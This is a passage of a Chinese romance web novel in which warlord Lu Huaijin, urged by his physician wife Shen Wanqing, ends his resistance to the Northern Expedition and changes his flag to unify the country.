“这怎么能叫累呢?这是浪漫!”陆淮锦不依不饶地凑过去,像只粘人的大狗,“晚晚,你想想,那天你穿着白色的婚纱,团圆给我们当花童,多美啊!”
“不办。”
沈晚清只有两个字,干脆利落。
“为什么?”陆淮锦委屈了,“别的女人不都盼着婚礼吗?我都打听好了,最近就有个黄道吉日……”
“陆淮锦。”
沈晚清撑起上半身,指了指自己眼底的黑眼圈,又指了指隔壁房间:
“第一,我真的很累。带孩子很累,应付那些官太太也很累。我不想再像猴子一样被人围观一整天。”
“第二,孩子都快四岁了,满地跑了。咱们这时候办婚礼,你是想让团圆在下面一边吃喜糖一边喊‘爹娘百年好合’吗?你不嫌臊得慌,我还嫌丢人呢。”
“第三……”
她打了个哈欠,重新躺回去,拉过毯子盖住自己:
“咱们已经是老夫老妻了。那些虚头巴脑的形式,没必要。”
“怎么就没必要了!”
陆淮锦急了,趴在榻边试图据理力争,“我那是想补偿你!我想让全天下都知道我很重视你!”
“我知道你重视我。”
沈晚清闭着眼睛,声音越来越小,“你看,我现在让你给我按摩,你都按了半小时了……这就叫
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重视……”
“可是……”
“别可是了……睡觉……”
“晚晚?夫人?”
陆淮锦推了推她,却只听到了一阵均匀绵长的呼吸声。
她睡着了。
看着她熟睡的侧颜,长长的睫毛在眼睑下投出一小片阴影,陆淮锦满肚子的劝说词瞬间卡在了喉咙里。
她是真的累坏了。
“唉。”
陆淮锦无奈地叹了口气,眼底的委屈化作了无限的怜惜。
他轻手轻脚地帮她拆下头上沉重的凤头金钗,又用热毛巾帮她擦了脸和手,然后小心翼翼地将她打横抱起,放到了那张柔软的大床上。
“你也太好打发了。”
陆淮锦替她掖好被角,看着她的睡颜,小声嘀咕道,“别的女人都要金山银山,要排场。你怎么就只要睡个觉呢?”
他在她额头上落下轻轻一吻。
“虽然你说不办……但我陆淮锦想给的东西,还没有送不出去的。”
陆淮锦直起腰,关掉了大灯,只留下一盏昏暗的床头灯。
他躺在这一侧,看着天花板,脑子里并没有因为被拒绝而打消念头,反而开始盘算起别的主意。
明着办嫌累?嫌丢人?
那就来个低调点的、特殊的?
比如……只请几个至亲好友?或者带她去个没人认识的地方办?
陆大帅在黑暗中勾起了嘴角。
反正来日方长。这辈子,他总得让她再为他穿一次嫁衣,不为给别人看,只为圆他心里的一个梦。
窗外,月色如水。
经历了惊心动魄的生离死别,经历了轰轰烈烈的全城认亲。
此刻,这间安静的卧房里,只有两道交织的呼吸声。
没有盛大的婚礼,没有喧天的锣鼓。
但这种相拥而眠的踏实,或许才是沈晚清口中那个“没必要”背后的真正含义——
只要人在身边,每一天都是良辰吉日。
第135章 岁月静好
初夏的阳光透过新绿的枝叶,斑驳地洒在听涛苑的青石板路上。空气中弥漫着淡淡的药草香,混合着院角蔷薇花的芬芳。
没有硝烟,没有阴谋,只有时光缓缓流淌的声音。
药圃旁。
沈晚清穿着一身宽松的月白色家居旗袍,袖口挽起,正蹲在一小片新开辟的药圃里,拿着小铲子小心翼翼地给几株刚移植过来的金银花松土。
“夫人,这日头毒,您歇会儿吧,让我们来。”
丫鬟小翠端着酸梅汤在一旁候着,看着自家夫人额头上沁出的汗珠,忍不住劝道。
“不妨事。”
沈晚清擦了擦汗,眼中满是笑意,“这些草药娇贵,只有亲手伺候才长得好。回头晒干了,给大帅做成清火的药茶,他最近嗓子总是不舒服。”
经历了这么多风雨,她如今只想守着这方小天地,为丈夫和孩子洗手作羹汤,求一份安稳。
书房内。
相比于院子里的静谧,书房里却是一片“墨水横飞”的热闹景象。
“手腕要悬空!背挺直!”
陆淮锦手里拿着一把戒尺,正站在书桌旁,一脸严肃地指导儿子写大字。
“爹爹,手酸……”
小团圆跪坐在椅子上,手里握着那支对他来说像扫把一样粗的毛笔,苦着一张小脸。
面前的宣纸上,原本应该是一个“人”字,此刻却被他画成了一团黑乎乎的墨疙瘩,旁边还多了几笔,看起来像只长了**的蜘蛛。
“才写了两个字就喊酸?”
陆淮锦恨铁不成钢地敲了敲桌子,“老子当年拿枪一拿就是一天,也没喊过酸!你是陆家的种,要有骨气!”
“可是娘说了,我是拿手术刀的手,不是拿大扫把的!”
小团圆理直气壮地反驳,趁着陆淮锦不注意,手里的毛笔一甩。
“啪嗒。”
一滴饱满的墨汁飞了出去,精准地落在了陆淮锦那件雪白的衬衫上,晕开一朵黑色的梅花。
陆淮锦:“……”
“陆、念、清!”
“哇!娘救命啊!爹爹变大黑熊**啦!”
小团圆见势不妙,扔下毛笔,滋溜一下钻到了桌子底下,然后手脚并用地爬出来,迈着小短腿就往院子里冲。
“臭小子!你给我站住!”
陆淮锦顾不上衬衫上的墨迹,长腿一跨,追了出去。
院子里。
沈晚清刚起身喝了一口酸梅汤,就看到一个小炮弹冲进自己怀里,紧接着是一个气急败坏的大帅紧随其后。
“娘!爹爹要打屁股!”小团圆躲在沈晚清身后,探出一个沾满墨汁的小花脸,狐假虎威。
“你看看他把我的衬衫弄得!”
陆淮锦指着自己胸前的墨迹,又指了指儿子那张只有牙齿是白的脸,本来想发火,但看着这滑稽的一幕,自己先忍不住笑了。
“行了,多大的人了,还跟孩子置气。”
沈晚清笑着掏出手帕,先给儿子擦了擦脸,又走到陆淮锦面前,替他擦了擦额头的汗。
“团圆还小,慢慢教。”
她踮起脚尖,在他脸颊上亲了一下,“别总是凶巴巴的,小心以后他不给你养老。”
陆淮锦心里的火气瞬间被这个吻浇灭了。
他顺势揽住她的腰,把脸埋在她带着药香的颈窝里,像个赖皮的孩子:
“他不养我没关系,你养我就行。”
“只要你在,这日子就有奔头。”
一家三口在葡萄架下吃了午饭。
微风****,岁月静好得让人想落泪。
陆淮锦看着正在给儿子剥葡萄皮的沈晚清,看着儿子鼓着腮帮子吃东西的样子,心中涌起一股前所未有的满足感。
如果时间能永远停留在这一刻,该多好。
不再有战争,不再有杀戮,就这样守着老婆孩子热炕头,过完下半辈子。
然而。
树欲静而风不止。
下午三点,前院。
一阵急促的脚步声打破了午后的宁静。
宋虎脸色凝重,手里拿着一份刚刚译出的加急电报,快步走进听涛苑。看到正在给夫
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人画眉的大帅,他脚步一顿,有些犹豫。
“什么事?”
陆淮锦敏锐地察觉到了宋虎的异样。他放下手中的眉笔,脸上的笑意淡了几分,眼神瞬间恢复了身为统帅的锐利。
“大帅……南边来的特急电报。”
宋虎低下头,不敢看沈晚清的眼睛。
陆淮锦接过电报,扫了一眼。
仅仅一眼,他的瞳孔便微微收缩,原本舒展的眉头瞬间拧成了一个“川”字。
电报上只有短短一行字:
【广州誓师,北伐开始。**军势如破竹,已破长沙,锋芒直指长江。】
风,起了。
那个一直蛰伏在南方的庞然大物,终于露出了它的獠牙。这一场酝酿已久的变革风暴,即将席卷整个华夏大地。
而作为北六省的霸主,作为旧军阀的代表,陆淮锦首当其冲。
“淮锦?”
沈晚清感觉到了气氛的凝重。她放下手中的镜子,担忧地看着他,“出什么事了?”
陆淮锦的手指紧紧攥着那张薄薄的纸,指节泛白。
他看着眼前这张满是关切的脸,看着这满院子的岁月静好。他知道,这短暂的和平时光,结束了。
但他不想让她担心。
至少,不是现在。
“没事。”
陆淮锦深吸一口气,将电报塞进口袋,重新换上了一副轻松的笑脸。
“是边境那帮土匪又不安分了,宋虎大惊小怪的。”
他重新拿起眉笔,托起她的下巴,温柔地说道:
“来,别动。这眉毛还没画完呢,画歪了可就不好看了。”
沈晚清看着他的眼睛。
那双深邃的眼眸里,倒映着她的影子,却也藏着一丝她看不懂的深沉与忧虑。
她没有拆穿他。
只是顺从地闭上眼,任由他冰凉的手指抚过眉间,在心里默默叹了口气。
这眉,怕是画不了多久了。
窗外的蝉鸣声渐渐嘈杂,仿佛在预示着,那个炎热而动荡的夏天,已经不可阻挡地到来了。
第136章 南方**
仅仅是一个月的时间,北城的天,变了。
那个曾经在药圃里给金银花松土的宁静午后,仿佛已经是上个世纪的事情。
烈日当空,道路被烤得滋滋作响。大街上,不再只有悠闲的黄包车和穿旗袍的阔太太,取而代之的,是一群群身穿白衬衫、手举横幅的进步学生。
“打倒列强!除军阀!”“迎接**军!统一全国!”
传单像雪花一样漫天飞舞,落在了沈晚清的车窗玻璃上。
车内,沈晚清捡起落在车窗缝隙里的一张传单。上面印着一颗醒目的红星,还有那位南方领袖的头像。
“夫人,这群学生娃娃闹得越来越凶了。”
前面的司机有些焦躁地按着喇叭,“巡捕房抓了好几批,可就是抓不完。听说南边的军队已经打到两湖了,这人心……乱了。”
沈晚清看着传单上那充满力量的口号,眉头紧锁。
她不懂**,但她懂医。
现在的华夏大地,就像是一个病入膏肓的巨人。陆淮锦他们这些军阀,是旧时代的沉疴;而南方的**军,是一剂猛药。
猛药入喉,必有剧痛。
“回府吧。”
沈晚清放下车帘,挡住了外面那喧嚣的口号声,却挡不住心底那股越来越浓的不安。
……
陆帅府,军事作战指挥室。
下午四点。
空气中弥漫着浓烈的烟草味,压抑得让人喘不过气。
巨大的**前,站满了肩扛金星的将领。但此刻,这些平时不可一世的将军们,一个个面色如土,额头上冷汗直冒。
地图上,代表南方**军的红色箭头,如同一把把利刃,势如破竹地刺穿了长江防线,直指中原。
“怎么可能这么快?!”
第三师师长猛地一拍桌子,唾沫横飞,“吴大帅不是号称有二十万大军吗?怎么连个长沙都守不住?这才几天?他就被打成了光杆司令?!”
“不是守不住,是兵败如山倒。”
宋虎站在一旁,手里拿着最新的情报,脸色难看得像吞了苍蝇:
“前线来报,**军有一个叫‘铁军’的独立团,简直不要命。他们不贪财,不抢粮,甚至不怕死。打仗的时候,军官冲在最前面。”
“而且……”宋虎顿了顿,看了一眼坐在主位上一言不发的陆淮锦,“他们有信仰。他们所到之处,百姓夹道欢迎,给他们送水送粮。而我们的部队……一触即溃,甚至还有成建制倒戈的。”
死一般的寂静。
对于这些习惯了占山为王、把当兵作为一种谋生手段的旧军阀来说,“信仰”这个词,太陌生,也太可怕了。
它是比大炮更具杀伤力的武器。
“大帅!”
一位老将忍不住了,上前一步,“咱们不能再观望了!那个姓蒋的北伐总司令已经发了通电,把咱们列为‘**军阀’。现在火已经烧到家门口了,要是让那把火过了长江,咱们北六省可就危险了!”
“是啊大帅!出兵吧!趁他们立足未稳,咱们联合奉系、直系残部,把他们压回去!”
众将领纷纷请战。
陆淮锦坐在宽大的真皮椅上,指尖夹着一根早已燃尽的香烟。
他透过缭绕的烟雾,看着地图上那片猩红的颜色。
他比任何人都清楚,这不仅仅是一场军事仗,更是一场时代仗。
旧的时代要过去了。
“出兵?”
陆淮锦终于开口了。他掐灭烟头,站起身,声音冷冽如冰:
“吴大帅二十万人挡不住,孙大帅五省联军挡不住。你们觉得,靠咱们手里这十几万人,能挡得住这滔滔大势?”
“那……那怎么办?”老将愣住了,“难道咱们就眼睁睁看着他们打过来?把这北六省拱手让人?”
陆淮锦没有回答。
他走到窗前,看着窗外阴沉的天空。
那是暴风雨来临的前兆。
“散会。”
他挥了挥手,背影显得有些萧索,“各师加强戒备,严守防区。没有我的命令,谁也不许擅自开第一枪。”
“违令者,军法处置。”
……
深夜,听涛苑卧房。
沈晚清一直在等。
桌上的饭菜热了又凉,凉了又热。
直到凌晨一点,那个熟悉的脚步声才在回廊响起。沉重,迟缓,没了往日的轻快。
门被推开。
陆淮锦带着一身寒露走了进来。他看起来很疲惫,眼底布满了红血丝,那是长时间高强度用脑的结果。
“还没睡?”
看到坐在灯下的沈晚清,他愣了一下,随即勉强挤出一丝笑容,“不是让你先睡吗?”
“你没回来,我睡不着。”
沈晚清走过去,熟练地接过他的军帽和外衣,挂在衣架上。然后端来一盆温水,拧干毛巾递给他。
“前线……情况不好?”
她轻声问道,语气里没有试探,只有关心。
陆淮锦
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擦脸的动作顿住了。
他把毛巾丢在盆里,溅起一小朵水花。
“晚晚。”
他突然伸出手,紧紧地抱住了她。他的头埋在她的颈窝,贪婪地汲取着她身上的温暖和药香,仿佛那是他在这个乱世中唯一的避风港。
“如果……”
他的声音有些沙哑,闷闷的,“如果我们又要过那种颠沛流离的日子,你怕不怕?”
沈晚清的心猛地一沉。
她知道,情况比她想象的还要严重。连陆淮锦这样不可一世的男人都说出了“颠沛流离”这四个字,说明那个庞大的陆家军,这棵在北方屹立多年的大树,真的快要倒了。
“我不怕。”
沈晚清抬起手,轻轻抚摸着他僵硬的后背,“只要一家人在一起,去哪我都不怕。哪怕是去乡下种地,去街头行医,只要有你和团圆,那就是家。”
陆淮锦浑身一颤。
他抬起头,看着妻子那双如秋水般温柔却坚定的眼睛。
“可是我不甘心啊。”
陆淮锦红了眼眶,声音里带着压抑的痛苦,“这是我陆家三代打下来的基业。我陆淮锦这辈子没服过软,没低过头。”
“现在,这股风吹过来了,它想要连根拔起我。”
“他们说我是军阀,是民贼,要打倒我。”
他松开手,走到床边,从枕头下摸出那把**,熟练地拉动**,发出“咔哒”一声脆响。
“但我是个军人。”
陆淮锦看着手中的枪,眼神逐渐变得锐利而决绝:
“就算是要退场,我也要堂堂正正地打完最后一仗。”
“我不能让手底下的兄弟说我是个孬种,更不能让别人觉得我陆淮锦是被吓跑的。”
他转过身,看着沈晚清,目光中充满了歉意与决然:
“晚晚。”
“帮我收拾行李吧。”
“明天一早,我要去河南前线督战。”
沈晚清的心脏像是被一只无形的大手狠狠攥住。
前线。
那是绞肉机,是修罗场。
“非去不可吗?”她颤声问。
“非去不可。”
陆淮锦走过来,捧起她的脸,在她额头上落下重重的一吻:
“为了陆家的尊严,也为了给咱们以后……留条退路。”
窗外,一道闪电划破夜空,紧接着是滚滚雷声。
暴雨,终于落下来了。
这场雨,将洗刷整个旧中国,也将彻底改变这个小家的命运。
第137章 抉择
窗外的炮火声稀疏了一些,但空气中依然弥漫着刺鼻的硝烟味。
陆淮锦站在巨大的**前,背影僵硬如铁。他手里的香烟已经烧到了指尖,烫到了皮肤,但他仿佛毫无察觉。
“大帅,守不住了。”
第三军军长浑身是血地冲进指挥部,摘下钢盔,“哐当”一声砸在桌子上,声音嘶哑带着哭腔:
“对面的‘铁军’简直不是人!他们不怕死!哪怕前面是**阵地,他们也是踩着尸体往上冲!我们的弟兄……哪怕装备比他们好,也被这股气势吓破了胆,甚至……甚至有两个团已经阵前倒戈了!”
“倒戈?”
陆淮锦缓缓转过身,眼神阴鸷得可怕,“你是说,我陆家花大洋养出来的兵,把枪口对准了自己人?”
“他们说……”军长低下头,不敢看陆淮锦的眼睛,“对面喊话了,说‘中国人不打中国人’,说要‘打倒军阀,统一全国’。弟兄们……人心散了,队伍带不动了。”
陆淮锦的心脏猛地一抽。
人心散了。
这是比兵败如山倒更可怕的事情。
他陆淮锦纵横北六省十年,靠的是铁血手腕,靠的是金钱利益。他以为这就足够维系忠诚。
但他错了。
在这个风起云涌的新时代,有一种叫“信仰”的东西,比大洋和**更具杀伤力。它能让一群衣衫褴褛的士兵变成钢铁洪流,也能让他这座看似坚不可摧的堡垒从内部瓦解。
“大帅!撤吧!”
参谋长急切地劝道,“放弃河南,退守河北!依托黄河天险,咱们或许还能……”
“还能怎样?”
陆淮锦冷冷地打断了他,“退回老巢?当缩头乌龟?等着被他们一点点蚕食?”
“还是说,要我陆淮锦像吴大帅那样,被打得像条丧家之犬,最后通电下野,**海外?”
指挥部内一片死寂。
没人敢说话。谁都知道,这位骄傲的修罗战神,宁可战死,也不愿受那份**。
“报——!!”
就在这时,一名通讯兵手里拿着一封信,颤抖着跑了进来。
“大帅!这是……这是南方**军总司令部派人送来的亲笔信!说是……劝降书。”
“劝降?”
陆淮锦怒极反笑,眼中闪过一丝暴戾的杀气。他大步走过去,一把夺过那封信。
信封上,只有四个苍劲有力的大字:【兄陆淮锦亲启】。
写信的人,竟然是他当年的老同学,如今**军的一位高级将领。
陆淮锦撕开信封。
信很短,没有趾高气扬的威胁,也没有虚伪的客套。
“淮锦兄:时局至此,兄当自知天命。弟知兄乃当世豪杰,爱兵如子,亦不忍见生灵涂炭。今**之火燎原,非一人一家之私力可挡。若兄愿顺应潮流,易帜反正,则国家幸甚,百姓幸甚。若兄执意孤行,以此残局抗滔滔大势,恐百年之后,史书之上,兄将背负‘阻挠统一’之骂名,陆家基业亦将化为齑粉。战与和,荣与辱,皆在兄一念之间。望三思。”
陆淮锦的手在颤抖。
每一个字,都像是一把锤子,重重地敲击在他的心口。
如果不打,就是投降,就是把祖宗基业拱手让人,他陆淮锦这辈子没向谁低过头。
如果打,就是拿这十几万弟兄的命去填一个无底洞,就是让战火烧到北城,烧到他的家,烧到沈晚清和团圆的身上。
“史书骂名……”
陆淮锦惨笑一声,将信纸捏成了一团。
他闭上眼,脑海里浮现出两幅画面。
一幅是烽火连天,北城化为废墟,沈晚清抱着孩子在尸山血海中哭泣。一幅是天下太平,虽然没了大帅的头衔,但他能牵着妻儿的手,在听涛苑的海棠树下看花开花落。
这不仅仅是权力的抉择。
这是人性的拷问。
“都出去。”
良久,陆淮锦睁开眼,声音疲惫得像是一个垂暮的老人。
“大帅……”
“滚出去!!”
陆淮锦突然爆发出一声怒吼,掀翻了面前的沙盘,“让我一个人静静!谁也不许进来!”
众将领吓得面如土色,纷纷退出指挥部,顺手带上了门。
房间里只剩下陆淮锦一个人。
他瘫坐在椅子上,从腰间拔出那把陪伴了他十年的**,放在桌子上。
那黑洞洞的枪口,在昏黄的灯光下泛着冷冽的光。
他在犹豫。
他在挣扎。
这种将命运交出去的无力感,比让他单枪匹马闯敌营还要让他窒息。
“真的要……认输吗?”
陆淮锦看着天花板,喃喃自语。
如果是三年前的陆修罗,他
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一定会毫不犹豫地选择玉石俱焚。宁可我负天下人,不可天下人负我。
可是现在。
他有了沈晚清。有了念清。
他有了软肋。
就在这时,一阵极其轻微的脚步声打破了死寂。
门被推开了一条缝。
一股熟悉的、淡淡的药草香,混合着鸡汤的温热气息,随着夜风飘了进来。
陆淮锦猛地坐直身体,手下意识地按在了枪上,眼神锐利如刀:“谁?!”
“是我。”
一个温柔而坚定的声音响起。
沈晚清端着一个托盘,走了进来。她穿着一身素净的旗袍,外面披着一件防风的大衣,发丝有些凌乱,显然是连夜赶路而来。
但她的眼神,却比这夜色还要宁静。
“晚晚?!”
陆淮锦惊得差点把枪碰掉,他立刻站起身,快步迎上去,“你怎么来了?!这里是前线!随时会遭到轰炸!谁让你来的?!”
“你是我的丈夫。”
沈晚清把托盘放在满是地图的桌子上,伸手握住了他那双冰冷且颤抖的手。
“你在哪里,哪里就是家。我若不来,谁给你送这碗安神汤?”
她看着他憔悴的面容,看着桌上那把上了膛的枪,又看了一眼那封被揉皱的劝降信。
她什么都明白了。
“淮锦。”
沈晚清轻声唤着他的名字,手指抚平他眉间深刻的褶皱。
“我知道你在想什么。”
“我也知道,这可能是你这辈子最难做的一个决定。”
陆淮锦看着妻子,一直紧绷的那根弦,在这一刻差点崩断。他一把将她拥入怀中,力道大得仿佛要将她揉进骨血里。
“晚晚……我不知道该怎么办了……”
这位在千军万马前都不曾皱眉的铁血统帅,此刻却把头埋在妻子的肩头,露出了前所未有的脆弱。
“我想打,但我怕输,怕护不住你们。”“我想和,但我怕……怕对不起列祖列宗,怕被人戳脊梁骨说我是孬种。”
沈晚清轻轻拍着他的后背,就像在哄睡梦中的小团圆。
窗外的炮火声依旧隐约可闻。
但在这间充满了**味和汤药香的指挥部里,一场关于家国、关于未来的枕边夜话,即将拉开序幕。
这是最后的一推。
也是决定历史走向的一夜。
第138章 枕边风
指挥部里的煤油灯芯爆了一朵灯花,发出轻微的“噼啪”声。
陆淮锦喝了一口沈晚清带来的安神汤。汤还是温热的,带着熟悉的百合与莲子的清香,顺着喉咙滑下去,稍微抚平了他那颗焦躁不安的心。
沈晚清坐在一旁的行军床上,静静地看着他。
“这一路走来,我看到了很多。”
她轻声开口,打破了沉默,“我看到路边的沟渠里填满了尸体,有穿灰军装的,也有穿百姓衣服的。我看到刚长出来的麦苗被履带压烂,看到没了爹娘的孩子坐在废墟上哭。”
陆淮锦握着碗的手紧了紧,没有说话。
“淮锦。”
沈晚清站起身,走到那一幅巨大的**前,手指轻轻划过那道代表着两军对垒的红线。
“你是大帅,你眼里看到的是地盘,是防线,是输赢。”
“我是医生,我眼里看到的只有命。”
她转过身,直视着他的眼睛:“这道红线每僵持一天,就要有多少人死去?这不仅仅是数字,那是一个个活生生的人,是无数个像团圆那么大的孩子的父亲。”
“这就是战争。”
陆淮锦放下碗,声音生硬,“自古以来,成王败寇。要想不被吃掉,就得**。”
“可是,如果你杀的人,也是你想保护的人呢?”
沈晚清反问,“对面的**军,很多都是热血青年,甚至还有不少是你以前讲武堂的学生。而你的部下,那些想回家的士兵,他们真的愿意为了你的‘大帅’虚名,去把枪口对准自己的同胞吗?”
陆淮锦沉默了。
他想起了那个浑身是血的军长说的话——“人心散了,队伍带不动了。”
“淮锦,你一直说,你要做顶天立地的英雄。”
沈晚清走到他面前,蹲下身,双手握住他放在膝盖上那双颤抖的大手,仰视着他:
“可是,真正的英雄,不是站在尸山血海之上俯视众生。”
“而是明明手里有刀,却为了苍生,甘愿把刀放下。”
“那叫投降!叫认输!”
陆淮锦猛地抽回手,眼底闪过一丝痛苦的挣扎,“我陆淮锦纵横一生,从未不战而降!若是签了那封易帜通电,我就是把陆家的脊梁骨都打断了!以后世人怎么看我?说我是软骨头?”
“谁敢说你是软骨头?”
沈晚清的声音突然拔高了几分,带着不容置疑的坚定。
“如果你为了这一己私欲,拉着这十几万弟兄陪葬,拉着北六省的百姓陷入战火,那你才是真正的罪人,是历史的懦夫!”
“但如果你能在这种时候,审时度势,顺应潮流,用你个人的荣辱,换来国家的统一,换来千万家庭的团圆……”
她重新握住他的手,眼神温柔得像是一汪春水,却又有着穿透人心的力量:
“那在我和团圆心里,在你手下那些能活着回家的士兵心里,在北六省几千万百姓心里……”
“你就是最大的英雄。”
“是当代的——护国大将军。”
这一番话,如同一道惊雷,劈开了陆淮锦心中那座名为“尊严”的顽固堡垒。
护国大将军。
不是为了私利割据一方的军阀,而是为了国家统一放下屠刀的将军。
陆淮锦看着眼前这个柔弱却充满智慧的女子。
他突然发现,这三年,她真的变了。她不再是那个只会在后宅绣花的大家闺秀,她有了胸怀,有了格局,甚至比他这个男人看得还要远,还要透。
“晚晚……”
陆淮锦的声音哽咽了,眼里的戾气一点点消散,取而代之的是一种从未有过的释然。
“如果我不做大帅了,没了权,没了势……你还会跟着我吗?”
“傻瓜。”
沈晚清笑了,眼泪却顺着眼角滑落。
她伸出手,轻轻抚摸着他满是胡茬的脸
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颊:
“我当初嫁的是陆淮锦,又不是陆大帅。”
“哪怕你成了平头百姓,哪怕你去街上拉黄包车,我也给你洗衣做饭,给你带孩子。”
“只要一家人平平安安的,比什么都强。”
“而且……”她俏皮地眨了眨眼,“凭我的医术,养活你和团圆,绰绰有余。”
这一句话,彻底击碎了陆淮锦最后的防线。
他猛地将沈晚清紧紧抱入怀中,把头埋在她的肩膀上。
这一刻,这位不可一世的修罗战神,终于卸下了所有的铠甲。
“好。”
许久之后,他沙哑的声音在空荡的指挥部里响起。
“听夫人的。”
“不打了。”
“咱们……回家。”
……
早晨六点,日出东方。
第一缕阳光刺破了厚重的云层,照耀在焦黑的阵地上。
指挥部的大门被推开。
在门外守了一夜、忐忑不安的众将领们,看到陆淮锦走了出来。
他没有穿那身挂满勋章的大帅戎装,而是换上了一件普通的军便服,风纪扣扣得一丝不苟。他的神情不再阴郁暴戾,反而透着一种如释重负的平静与威严。
沈晚清静静地站在他身后,微笑着看着这一切。
“大帅……”参谋长试探着上前,“咱们是打,还是……”
陆淮锦目光扫过在场的一张张脸,扫过远处那些疲惫不堪的士兵。
他深吸一口气,声音洪亮,传遍全场:
“传我命令!”
“全军停止抵抗,原地待命!”
“宋虎!”
“到!”
“拟电!”
陆淮锦抬起头,看向南方那片渐渐亮起的天空,一字一顿地说道:
“即日起,陆家军服从中央政府指挥,拥护**,改旗易帜!”
“愿以我陆某一人之虚名,换天下之太平!”
“通电——全国!”
第139章 通电易帜
“滴滴答——滴滴答——”
电报室里,发报员的手指在颤抖。
他知道,自己此刻敲击出的每一个代码,都将化作惊雷,炸响在整个中华大地的上空,载入史册。
【陆淮锦通电全国:即日起,北六省陆家军全军罢战,服从中央,拥护**。愿以吾一人之去留,换海内之和平。国家统一,民族幸甚。】
随着最后一个电码发出,指挥部内死一般的沉寂被打破。
“发出去了……”
参谋长像是被抽干了全身的力气,瘫坐在椅子上,随即摘下军帽,抹了一把脸上的老泪,“不用打了……真的不用打了……”
帐外,不知是谁先喊了一声:
“大帅有令!不打了!咱们和平了!”
这一声呐喊,如同星火燎原,瞬间点燃了整个阵地。
“回家!能回家了!”“不用杀自己人了!”
数十万早已厌倦了内战的士兵,无论是战壕里的,还是后勤线上的,此刻都扔掉了手中的**和**箱,相拥而泣,欢呼声震彻云霄。
……
上午九点,两军阵地交界处。
阳光普照大地。
没有了炮火的轰鸣,这里的风声显得格外清晰。
陆淮锦身穿一袭没有任何军衔标志的素色军装,腰间没有配枪。他带着沈晚清,以及身后的几名心腹将领,大步走向那个曾经的“死生之地”。
对面,**军的方阵也整齐划一地走了过来。
走在最前面的,正是那位给陆淮锦写劝降信的老同学——陈将军。
两队人马在战壕前的空地上停下。
相距不过五米。
昨日还要拼个你死我活的对手,此刻相视而立。
“淮锦兄。”
陈将军快步上前,没有行军礼,而是张开双臂,给了陆淮锦一个重重的拥抱。
“你做了一个伟大的决定。”
陈将军用力拍着陆淮锦的后背,声音哽咽,“这一步,你救了这几十万弟兄,也救了这天下的百姓。你是功臣!”
陆淮锦身体微微僵硬了一瞬,随即释然地回抱了一下,苦笑道:
“什么功臣不功臣的,不过是个败军之将,不想做千古罪人罢了。”
他松开手,目光越过陈将军的肩膀,看向那支精神抖擞的**军队伍。
那一双双年轻、炽热、充满信仰的眼睛,让他感到震撼,也让他彻底明白了自己输在哪里。
“你们赢了。”
陆淮锦坦然说道,“这天下,终究是你们这群年轻人的。”
“不,是我们共同的天下。”
陈将军纠正道,随即看向站在陆淮锦身侧的沈晚清,郑重地敬了一个礼:
“嫂夫人,多谢。若无你在侧周旋,今日之局面,恐怕要是另一番光景。”
沈晚清微微欠身,从容回礼:“将军言重了。淮锦是军人,军人的天职是保家卫国,而非内耗。他只是做回了真正的自己。”
……
正午十二点,郑州城楼。
换旗仪式正式开始。
城楼下,挤满了闻讯而来的百姓。他们手里挥舞着鲜花和小旗,眼中满含热泪。对于他们来说,谁当大帅不重要,重要的是不再打仗,不再流离失所。
激昂的军乐声响起。
在万众瞩目中,那面代表着北洋旧军阀势力的五色旗,在旗杆上缓缓降下。
陆淮锦站在城楼上,仰头看着那面陪伴了陆家两代人的旗帜。
风很大,吹得他的衣摆猎猎作响。
他抬起手,行了一个标准的、也是最后的一个旧式军礼。
这是告别。
告别那个割据一方、称王称霸的旧时代;告别那个为了利益而战的“修罗战神”。
紧接着。
一面崭新的、鲜艳的青旗帜,在雄壮的歌声中冉冉升起。
当新旗帜升至顶端,在风中猎猎招展的那一刻。
“和平万岁!”“和平万岁!”
城楼下爆发出了山呼海啸般的欢呼声。
陆淮锦
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的手缓缓放下。
他看着那面新旗,心中原本以为会有撕心裂肺的痛,会有失去权力的失落。
但奇怪的是,并没有。
取而代之的,是一种前所未有的轻松。就像是卸下了背负多年的千斤重担,整个人都变得轻盈起来。
“结束了。”
他转过头,看向身边的沈晚清。
沈晚清主动握住了他的手,十指紧扣,掌心的温度传递给他无尽的力量。
“不,是开始了。”
沈晚清温柔地注视着他,眼中闪烁着光芒,“淮锦,你看下面那些百姓的笑脸。这才是你给他们的最好的礼物。”
陆淮锦低下头,看着那些欢呼的人群,看着那些不再因为恐惧而躲避他的目光。
他的嘴角终于勾起了一抹真心的笑容。
“是啊。”
“不用再为了防着谁而睡觉,不用再为了抢地盘而**。”
他反握住妻子的手,将她拉到身边,并肩看着这**河山。
“晚晚,等交接完防务,咱们就回北城接团圆。”
“我想带你们去看看塞外的草原,去看看长白山的雪。”
“好。”
沈晚清靠在他的肩头,“只要跟你在一起,去哪都好。”
当晚,全国各大报纸印发号外。
头版头条,只有一行醒目的黑体大字:
《陆淮锦通电易帜,南北统一,举国欢腾!》
照片上,那位曾经不可一世的陆大帅,正在和**军将领握手言欢。他的眼神不再阴鸷,而是透着一股从容与平和。
历史的车轮滚滚向前,碾碎了旧时代的残垣断壁,也为这个饱经沧桑的国家,铺开了一条通往新生的道路。
然而,对于陆淮锦来说,易帜并不代表着彻底的退休。
作为北方的一头猛虎,虽然拔去了争霸内战的獠牙,但在这个列强环伺的年代,国家依然需要他这副钢筋铁骨,去镇守那更为凶险的边疆。
新的使命,正在等待着他。
第140章 新的局势
易帜仅仅一个月,北城的街头巷尾已经焕然一新。
曾经满大街巡逻的军阀宪兵不见了,取而代之的是穿着整齐的新式国防军。墙上那些“陆大帅万岁”的标语被铲去,刷上了“天下为公”和“保卫边疆”的崭新字样。
书房内,陆淮锦正在签署最后一份整编文件。
他身上的大帅戎装已经换下,穿上了一套剪裁利落的青灰色中山装,领口别着一枚代表“北方边防总司令”的金色徽章。
“司令。”
已经改称“参谋长”的宋虎推门进来,神色有些复杂:
“中央特派员刚走。关于咱们移防的事……上面的意思是,越快越好。”
“这帮文人,是怕我赖在北城这温柔乡里,又要搞割据啊。”
陆淮锦放下钢笔,并不恼怒,反而淡然一笑。
“这样也好。北城太繁华,容易磨灭军人的血性。咱们陆家军的魂在马背上,不在戏园子里。”
他站起身,走到巨大的**前。他的手指越过繁华的北六省腹地,一路向北,最终停留在那个最北端、与苏俄和日本势力范围接壤的边境重镇——漠城。
“那里是国门。”
陆淮锦的眼神变得凝重而深邃,“日本人最近在那个方向动作频频,还有那帮被赶走的黑龙会余孽,都在那边盯着咱们。我去那里,比待在北城更有用。”
“可是司令……”
